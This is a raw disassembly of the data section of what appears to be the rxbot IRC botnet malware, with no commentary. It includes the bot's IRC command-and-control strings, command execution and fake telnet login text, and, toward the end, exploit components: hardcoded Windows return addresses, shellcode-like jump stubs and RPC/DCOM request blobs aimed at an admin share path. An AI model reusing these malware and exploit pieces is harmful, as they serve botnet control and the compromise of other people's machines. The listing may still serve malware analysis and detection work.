		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_413664	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40708B+45o
		dd 2E020373h, 0
dword_413680	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_4070F0+7Fo
		dd 30032072h, 73250234h, 203h
dword_4136A0	dd 0DB86ACE1h, 0D38ED2DBh, 0F7D9E2CDh, 0F493h, 0 ; DATA	XREF: sub_4070F0+4Do
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_407290+9o
		align 4
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40735A:loc_408384o
		align 4
dword_4136D4	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40735A+101Ao
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_4136F8	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40735A+FD3o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
aUsername	db 'username',0         ; DATA XREF: sub_40735A:loc_408206o
		align 4
aId		db 'id',0               ; DATA XREF: sub_40735A+E8Bo
		align 4
dword_41377C	dd 27CE0h		; DATA XREF: sub_40735A+E67r
		dd 0
dword_413784	dd 4F47DA0h		; DATA XREF: sub_40735A+E5Fr
		align 10h
dword_413790	dd 4EA8h		; DATA XREF: sub_40735A:loc_4081B1r
		align 8
dword_413798	dd 25575D8h		; DATA XREF: sub_40735A:loc_408198r
		dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40735A+E08o
		align 4
dword_4137AC	dd 40ACA2A1h		; DATA XREF: sub_40735A+DFFr
		dd 3 dup(0)
dword_4137BC	dd 23013A08h		; DATA XREF: sub_40735A+DF3r
		dd 2 dup(0)
dword_4137C8	dd 22EE0h		; DATA XREF: sub_40735A+DE7r
		align 10h
dword_4137D0	dd 2884BA08h		; DATA XREF: sub_40735A+DDBr
		dd 2 dup(0)
dword_4137DC	dd 28718h		; DATA XREF: sub_40735A:loc_408129r
		dd 0
dword_4137E4	dd 234F9EA0h		; DATA XREF: sub_40735A+DAAr
		align 10h
dword_4137F0	dd 2675EFE0h		; DATA XREF: sub_40735A+D9Er
		dd 2 dup(0)
dword_4137FC	dd 26620h		; DATA XREF: sub_40735A:loc_4080ECr
		dd 0
dword_413804	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40735A+D88o
		dd 63h
dword_41381C	dd 9F2E60h		; DATA XREF: sub_40735A:loc_408028r
		dd 2 dup(0)
dword_413828	dd 2343003h, 2037325h	; DATA XREF: sub_40735A+CC4o
aHasNoIpv4End_	db ' has no ipv4 end.',0
		align 4
dword_413844	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40735A+CAEo
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40735A+C1Eo
					; .data:0041588Co
		align 4
dword_41387C	dd 14CFC06Dh		; DATA XREF: sub_40735A:loc_407F45r
		dd 3 dup(0)
dword_41388C	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40735A+BE1o
		dd 2037325h, 2Eh
dword_4138A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40735A+BCEo
		dd 2037325h, 0
dword_4138C4	dd 135DD8h		; DATA XREF: sub_40735A:loc_407EBFr
		align 10h
dword_4138D0	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40735A+B31o
		db 79h,	70h
word_4138E6	dw 2065h		; DATA XREF: start+125w start+188r
		db 3, 30h
word_4138EA	dw 234h			; DATA XREF: sub_41910B+Er start+12Ew
		db 25h,	64h
		dw 203h			; DATA XREF: start+140w
		db 20h,	61h
		dw 6464h		; DATA XREF: start+137w
		db 72h,	65h
dword_4138F6	dd 203A7373h		; DATA XREF: start+149w
dword_4138FA	dd 2343003h		; DATA XREF: start+FCr	start+108w ...
		dw 7325h
		dd 203h
byte_413904	db 3, 30h		; DATA XREF: sub_40735A+B12o
		dw 234h			; DATA XREF: start+161r
		dd 2037325h, 49202D20h,	20367650h
		db 61h,	64h
		dw 7264h		; DATA XREF: start+14Fr start+15Br
		dd 3A737365h, 34300320h, 3732502h, 2
dword_413928	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40735A+AE3o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_41394C	dd 3Ch			; DATA XREF: sub_40735A+AD6o
					; sub_40735A+B05o ...
dword_413950	dd 11DD8h		; DATA XREF: sub_40735A+A59r
		align 8
dword_413958	dd 4F4F9EAAh		; DATA XREF: sub_40735A+A4Dr
		dd 3 dup(0)
dword_413968	dd 506A620h		; DATA XREF: sub_40735A:loc_407D9Br
		dd 2 dup(0)
dword_413974	dd 4C28h		; DATA XREF: sub_40735A+A22r
		dd 0
dword_41397C	dd 987988h		; DATA XREF: sub_40735A+A16r
		dd 2 dup(0)
dword_413988	dd 22CA0h		; DATA XREF: sub_40735A:loc_407D64r
		align 10h
dword_413990	dd 0FA869B91h		; DATA XREF: sub_40735A:loc_407D52r
		align 10h
dword_4139A0	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40735A+9E2o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_4139D0	dd 11F060h		; DATA XREF: sub_40735A:loc_407D24r
		dd 2 dup(0)
dword_4139DC	dd 2946A6E0h		; DATA XREF: sub_40735A+975r
		dd 2 dup(0)
dword_4139E8	dd 124A0h		; DATA XREF: sub_40735A+969r
		align 10h
dword_4139F0	dd 123C20h		; DATA XREF: sub_40735A+95Dr
		dd 2 dup(0)
dword_4139FC	dd 0C5020h		; DATA XREF: sub_40735A:loc_407CABr
		dd 2 dup(0)
dword_413A08	dd 45444F4Dh, 732520h	; DATA XREF: sub_40735A+947o
dword_413A10	dd 5A560h		; DATA XREF: sub_40735A:loc_407C89r
		dd 2 dup(0)
dword_413A1C	dd 1547A5B4h		; DATA XREF: sub_40735A:loc_407C70r
		dd 3 dup(0)
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40735A+8F0o
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_40735A+8EAo
aOn		db 'on',0               ; DATA XREF: sub_40735A+8E3o
					; sub_40735A:loc_407C54o
		align 4
dword_413A48	dd 493350h		; DATA XREF: sub_40735A:loc_407C26r
		dd 2 dup(0)
dword_413A54	dd 27010h		; DATA XREF: sub_40735A:loc_407C0Ar
		dd 0
dword_413A5C	dd 406AD20h		; DATA XREF: sub_40735A:loc_407BDBr
		dd 2 dup(0)
dword_413A68	dd 0E510h		; DATA XREF: sub_40735A:loc_407BACr
		align 10h
dword_413A70	dd 9E72A8h		; DATA XREF: sub_40735A:loc_407B7Br
		dd 2 dup(0)
dword_413A7C	dd 54524150h, 732520h	; DATA XREF: sub_40735A+817o
dword_413A84	dd 10B6E0h		; DATA XREF: sub_40735A:loc_407B5Dr
		align 10h
dword_413A90	dd 154DE0h		; DATA XREF: sub_40735A:loc_407B38r
		dd 2 dup(0)
dword_413A9C	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40735A:loc_407B29o
					; sub_408F9D+44Do
dword_413AA8	dd 635E0h		; DATA XREF: sub_40735A:loc_407AEAr
		dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40735A+77Ao
		align 4
dword_413AC8	dd 51BCDA0h		; DATA XREF: sub_40735A:loc_407AC7r
		dd 2 dup(0)
dword_413AD4	dd 569F18h		; DATA XREF: sub_40735A:loc_407AA8r
		align 10h
dword_413AE0	dd 51A520h		; DATA XREF: sub_40735A:loc_407A83r
		dd 2 dup(0)
dword_413AEC	dd 87AA0569h		; DATA XREF: sub_40735A:loc_407A67r
		dd 3 dup(0)
dword_413AFC	dd 29097EA0h		; DATA XREF: sub_40735A:loc_407A48r
					; start+D8r ...
		db 2 dup(0)
dword_413B02	dd 0			; DATA XREF: start+174r
		align 4
dword_413B08	dd 124D0165h		; DATA XREF: sub_40735A:loc_407A33r
		dd 3 dup(0)
dword_413B18	dd 48CCA60h		; DATA XREF: sub_40735A:loc_407A17r
		dd 2 dup(0)
dword_413B24	dd 0A3388h		; DATA XREF: sub_40735A:loc_407A02r
		align 10h
dword_413B30	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40735A+684o
dword_413B44	dd 99D3CC20h		; DATA XREF: sub_40735A:loc_4079CAr
		dd 3 dup(0)
dword_413B54	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40735A+65Ao
		dd 2037325h, 0
dword_413B70	dd 492620h		; DATA XREF: sub_40735A:loc_40796Fr
		dd 2 dup(0)
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40735A+60Eo
		align 10h
dword_413B90	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40735A+5BAo
		dd 2037325h, 0
dword_413BAC	dd 26620h		; DATA XREF: sub_40735A:loc_4078C2r
		dd 0
dword_413BB4	dd 501F0E1h		; DATA XREF: sub_40735A:loc_407897r
		dd 3 dup(0)
dword_413BC4	dd 2C1B10D5h		; DATA XREF: sub_40735A:loc_40784Br
		dd 4 dup(0)
dword_413BD8	dd 239059D9h		; DATA XREF: sub_40735A+4D8r
		dd 3 dup(0)
dword_413BE8	dd 13F0E0h		; DATA XREF: sub_40735A+4CCr
		dd 2 dup(0)
dword_413BF4	dd 13EA70E0h		; DATA XREF: sub_40735A+4C0r
		align 10h
dword_413C00	dd 4D270E0h		; DATA XREF: sub_40735A:loc_40780Er
		dd 2 dup(0)
dword_413C0C	dd 24720A20h		; DATA XREF: sub_40735A:loc_4077EFr
		dd 2 dup(0)
dword_413C18	dd 203A5049h, 2343003h,	2037325h, 0 ; DATA XREF: sub_40735A+48Bo
dword_413C28	dd 4BE8h		; DATA XREF: sub_40735A:loc_4077D8r
		align 10h
dword_413C30	dd 124BFDD8h		; DATA XREF: sub_40735A:loc_4077BFr
		dd 2 dup(0)
dword_413C3C	dd 24343260h		; DATA XREF: sub_40735A:loc_4077B4r
		dd 2 dup(0)
dword_413C48	dd 242C3388h		; DATA XREF: sub_40735A:loc_407793r
		dd 2 dup(0)
dword_413C54	dd 379D822Ah		; DATA XREF: sub_40735A:loc_40777Br
		dd 3 dup(0)
dword_413C64	dd 379DCF5Ah		; DATA XREF: sub_40735A:loc_407748r
		dd 3 dup(0)
dword_413C74	dd 390F2B3Eh		; DATA XREF: sub_40735A:loc_407726r
		dd 3 dup(0)
dword_413C84	dd 1B7DFEA1h		; DATA XREF: sub_40735A:loc_407704r
		dd 3 dup(0)
dword_413C94	dd 140860h		; DATA XREF: sub_40735A:loc_4076E2r
		align 10h
dword_413CA0	dd 7A1168A0h		; DATA XREF: sub_40735A+369r
		align 10h
dword_413CB0	dd 0E88DCA0h		; DATA XREF: sub_40735A+35Dr
		dd 2 dup(0)
dword_413CBC	dd 74358h		; DATA XREF: sub_40735A:loc_4076ABr
		dd 2 dup(0)
dword_413CC8	dd 1234A0h		; DATA XREF: sub_40735A:loc_407687r
		dd 2 dup(0)
dword_413CD4	dd 1CEC4829h		; DATA XREF: sub_40735A:loc_40766Er
		dd 3 dup(0)
dword_413CE4	dd 0A9EB0560h		; DATA XREF: sub_40735A:loc_40761Er
		dd 3 dup(0)
dword_413CF4	dd 1B7A7CA1h		; DATA XREF: sub_40735A:loc_407605r
		dd 3 dup(0)
dword_413D04	dd 1B73B389h		; DATA XREF: sub_40735A:loc_4075E9r
		dd 3 dup(0)
dword_413D14	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40735A+285o
		dd 3203A64h, 25023430h,	20373h
dword_413D34	dd 124A4320h		; DATA XREF: sub_40735A:loc_40754Br
		align 10h
dword_413D40	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40735A+1E7o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_413D64	dd 232320h		; DATA XREF: sub_40735A+168o
dword_413D68	dd 25EA4320h		; DATA XREF: sub_40735A:loc_407477r
		dd 2 dup(0)
dword_413D74	dd 954E18h		; DATA XREF: sub_40735A:loc_407458r
		align 10h
dword_413D80	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40735A+F4o
		dd 2037325h, 0
dword_413D9C	dd 2C3ADA0h		; DATA XREF: sub_40735A:loc_40741Er
		dd 2 dup(0)
dword_413DA8	dd 4B43494Eh, 732520h	; DATA XREF: sub_40735A:loc_407403o
					; sub_4088FC+F0o ...
dword_413DB0	dd 11A8A8h		; DATA XREF: sub_40735A:loc_4073D0r
		dd 2 dup(0)
dword_413DBC	dd 35721361h		; DATA XREF: sub_40735A+57r
		dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_408406+53o
					; sub_408F9D+631o
		align 4
asc_413DEC:				; DATA XREF: sub_408406+29o
		unicode	0, <;>,0
asc_413DF0	db '<=',0               ; DATA XREF: sub_40849F+2F2o
		align 4
asc_413DF4	db '>=',0               ; DATA XREF: sub_40849F+2C2o
		align 4
asc_413DF8:				; DATA XREF: sub_40849F+2AAo
		dw 3Eh
		unicode	0, <>,0
asc_413DFC	db '!=',0               ; DATA XREF: sub_40849F+28Eo
		align 10h
asc_413E00	db '==',0               ; DATA XREF: sub_40849F+272o
		align 4
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40849F+181o
					; sub_40849F+253o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40849F+166o
					; sub_40849F+238o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40849F+14Bo
					; sub_40849F+21Do
		align 4
aFree_0		db '$free',0            ; DATA XREF: sub_40849F+130o
					; sub_40849F+202o
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40849F+115o
					; sub_40849F+1E7o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40849F+EEo
					; sub_40849F+1C0o
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40849F+9Co
		align 10h
asc_413E50	db '&&',0               ; DATA XREF: sub_40849F+6Ao
		align 4
asc_413E54:				; DATA XREF: sub_40849F+21o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_4087CE+46o
		align 4
a6667		db '6667',0             ; DATA XREF: sub_408832:loc_40885Do
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_4088FC+230o
					; sub_408F9D+384o
		align 4
aG:					; DATA XREF: sub_4088FC+1AFo
					; sub_408F9D+303o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_4088FC+1A3o
					; sub_408F9D+2F7o
		unicode	0, <A>,0
aB:					; DATA XREF: sub_4088FC+19Co
					; sub_408F9D+2F0o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_4088FC+167o
					; sub_408F9D+2BCo
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_4088FC+C7o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_4088FC+3Do
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_408C6C+16o
					; sub_408D50+2Eo
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_408CDE+16o
					; sub_408D50:loc_408DA5o
		align 4
dword_413EDC	dd 1			; DATA XREF: sub_408D50+CDo
dword_413EE0	dd 7373656Dh, 20656761h, 0 ; DATA XREF:	sub_408D50+8Ao
dword_413EEC	dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_408D50+4Eo
dword_413EFC	dd 56495250h, 2047534Dh, 3A207325h, 1 ;	DATA XREF: sub_408D50+3Eo
aMirc		db 'mIRC',0             ; DATA XREF: sub_408EBA+2o
					; sub_408EC8+1Co
		align 4
asc_413F14:				; DATA XREF: sub_408F9D+890o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_408F9D:loc_40966Co
					; sub_4098BB+70o
		align 10h
asc_413F20	db '][',0               ; DATA XREF: sub_408F9D+607o
		align 4
a332		db '332',0              ; DATA XREF: sub_408F9D:loc_409513o
aNick		db 'NICK',0             ; DATA XREF: sub_408F9D:loc_4094D9o
		align 10h
a@:					; DATA XREF: sub_408F9D+4E4o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_408F9D:loc_409463o
					; sub_4098BB+2Fo
a451		db '451',0              ; DATA XREF: sub_408F9D:loc_409446o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_408F9D+487o
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_408F9D+437o
a001		db '001',0              ; DATA XREF: sub_408F9D:loc_40939Eo
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_408F9D+3F7o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_408F9D:loc_40935Fo
		align 10h
aError		db 'ERROR',0            ; DATA XREF: sub_408F9D:loc_409340o
		align 4
a433		db '433',0              ; DATA XREF: sub_408F9D:loc_4091DCo
dword_413F7C	dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_408F9D+22Bo
aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_408F9D:loc_4091C3o
dword_413F9C	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_408F9D+211o
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_413FC0	dd 4950013Ah, 1474Eh	; DATA XREF: sub_408F9D+1DAo
dword_413FC8	dd 4950013Ah, 474Eh	; DATA XREF: sub_408F9D+1C7o
dword_413FD0	dd 4556013Ah, 4F495352h, 14Eh ;	DATA XREF: sub_408F9D+1B4o
dword_413FDC	dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_408F9D:loc_40913Eo
aSend		db 'SEND',0             ; DATA XREF: sub_408F9D+AFo
		align 10h
dword_413FF0	dd 4344013Ah, 43h	; DATA XREF: sub_408F9D+8Fo
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_408F9D+61o
					; sub_408F9D+69Eo ...
aMode		db 'MODE',0             ; DATA XREF: sub_408F9D+4Ao
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_408F9D:loc_408FD0o
		align 10h
aPongS		db 'PONG %s',0          ; DATA XREF: sub_408F9D+24o
aPing		db 'PING',0             ; DATA XREF: sub_408F9D+Fo
		align 10h
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_4098BB:loc_4099B0o
		align 10h
byte_414030	db 41h			; DATA XREF: sub_409AB1:loc_409ABFr
					; sub_409B9F+15r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4
unk_414074	db  2Dh	; -		; DATA XREF: sub_40AC87+8Eo
					; sub_40DA07+52o
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 2Eh,	3, 30h
		db  34h	; 4
		db 2, 25h, 73h
		db    3
		db 2, 2Dh, 20h
aU_RawTransferT	db '%u. Raw transfer to %s complete.',0
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: sub_40AC87+88o
		align 4
aUserAccessVeri	db 0Dh,0Ah		; DATA XREF: sub_40AC87+66o
		db 0Dh,0Ah
		db 'User Access Verification',0Dh,0Ah
		db 0Dh,0Ah
		db 'Password:',0
		align 10h
dword_4140E0	dd 0FF01FBFFh, 0FDFF03FBh, 1FFDFF18h, 0	; DATA XREF: sub_40AC87+37o
dword_4140F0	dd 1130h, 0		; DATA XREF: sub_40AD2B+51o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
dword_41411C	dd 77777777h		; DATA XREF: sub_40AE3D+157r
		dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h
		dd 77F9D463h
dword_414138	dd 750362C3h		; DATA XREF: sub_40AE3D+169r
		dd 75035173h, 3	dup(717564B8h)
dword_41414C	dd 71AB7BFBh		; DATA XREF: sub_40AE3D+17Br
		dd 773AD507h, 7C941EEDh
dword_414158	dd 77DB565Ch		; DATA XREF: sub_40AE3D:loc_40AFC1r
		dd 77FD1F89h, 2	dup(77E216B8h)
; ---------------------------------------------------------------------------


loc_414168:				; DATA XREF: sub_40AE3D+140o
					; seg000:0040B1F3o
		jmp	short loc_41416E
; ---------------------------------------------------------------------------
		align 4


loc_41416C:				; DATA XREF: sub_40AE3D+11Fo
		xor	ebp, [esi]


loc_41416E:				; CODE XREF: .data:loc_414168j
		aaa
		xor	ch, [esi]
		xor	[esi], ch
		xor	[eax], al
; ---------------------------------------------------------------------------
		db 3 dup(0)
a131_131_131_13	db '131.131.131.131',0  ; DATA XREF: sub_40AE3D+114o
aRxbot_paradise	db 'rxbot_paradise',0   ; DATA XREF: sub_40AE3D+101o
		align 4
a121204131313	db '12/12/04 13:13:13',0 ; DATA XREF: sub_40AE3D+EEo
		align 4
aRxbotWasHere	db 'rxbot was here',0   ; DATA XREF: sub_40AE3D+D8o
		align 4
aRxbot		db 'rxbot',0            ; DATA XREF: sub_40AE3D+C5o
		align 4
dword_4141C4	dd 2710h		; DATA XREF: sub_40AE3D+88o
					; seg000:0040B1A4o
dword_4141C8	dd 1130h, 0		; DATA XREF: sub_40B00A+51o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F5h, 28h, 5Ch
		dd 400DC28Fh, 5	dup(0)
		dd 1, 0
dword_4141F4	dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
					; DATA XREF: seg000:0040B1E0o
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
dword_414218	dd 2 dup(4A9D5E21h), 0	; DATA XREF: seg000:0040B1B7o
dword_414224	dd 77777777h		; DATA XREF: seg000:0040B209r
		dd 77777776h, 77777775h, 77F326C6h, 77F29267h, 77777772h
		dd 77F32836h
dword_414240	dd 750362C3h		; DATA XREF: seg000:0040B21Ar
		dd 75035173h, 3	dup(7C2FA0F7h)
dword_414254	dd 71AB7BFBh		; DATA XREF: seg000:0040B22Br
		dd 71AB7BFBh, 7C941EEDh
dword_414260	dd 77E216B8h		; DATA XREF: seg000:loc_40B234r
		dd 77FD1F89h, 2	dup(77E216B8h)
dword_414270	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_40B27D+38o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:			; DATA XREF: sub_40B32A+94o
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 10h
dword_4142F0	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40B32A+6Co
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_414654	dd 20h,	0		; DATA XREF: sub_40B32A+81o
		dd 20h,	5C005Ch, 0
aC1234561111111:			; DATA XREF: sub_40B32A+CCo
		unicode	0, <\C$\123456111111111111111.doc>,0
		align 8
dword_4146A8	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40B32A+E5o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
dword_4146DC	dd 2180310h		; DATA XREF: sub_40B32A+13Co
dword_4146E0	dd 10016C6h		; DATA XREF: sub_40B32A+133o
dword_4146E4	dd 100139Dh		; DATA XREF: sub_40B32A+12Ao
dword_4146E8	dd 1001C55h		; DATA XREF: sub_40B32A+113o
dword_4146EC	dd 1001C98h		; DATA XREF: sub_40B32A:loc_40B444o
dword_4146F0	dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_40B32A+Eo
					; sub_40B4D5+53o ...
dword_4146F8	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_40B4D5+14o
		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_414744	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	sub_40B4D5+11Eo
dword_414760	dd 10005h, 2 dup(0)	; DATA XREF: sub_40B4D5+131o
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_4147A8	dd 0			; DATA XREF: sub_40B4D5+266o
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_4147DC:				; DATA XREF: sub_40B4D5+100o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_4147E8:				; DATA XREF: sub_40B4D5+B0o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_4147F4:				; DATA XREF: sub_40B4D5+154o
		jmp	short loc_414806
; ---------------------------------------------------------------------------
		jmp	short loc_414811
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_4147FC:				; DATA XREF: sub_40B4D5+1B3o
		jmp	short near ptr word_414802
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_414802	dw 0			; CODE XREF: .data:loc_4147FCj
; ---------------------------------------------------------------------------


loc_414804:				; DATA XREF: sub_40B4D5+1D6o
		jmp	short near ptr word_41480A
; ---------------------------------------------------------------------------


loc_414806:				; CODE XREF: .data:loc_4147F4j
					; .data:loc_414824j
		jmp	short loc_41480C
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41480A	dw 0			; CODE XREF: .data:loc_414804j
; ---------------------------------------------------------------------------


loc_41480C:				; CODE XREF: .data:loc_414806j
					; DATA XREF: sub_40B4D5+1FCo
		jmp	short near ptr loc_414811+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_414811:				; CODE XREF: .data:004147F6j
					; .data:loc_41480Cj
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_414814	dd offset loc_41005C	; DATA XREF: sub_40B4D5+24Fo
		align 10h
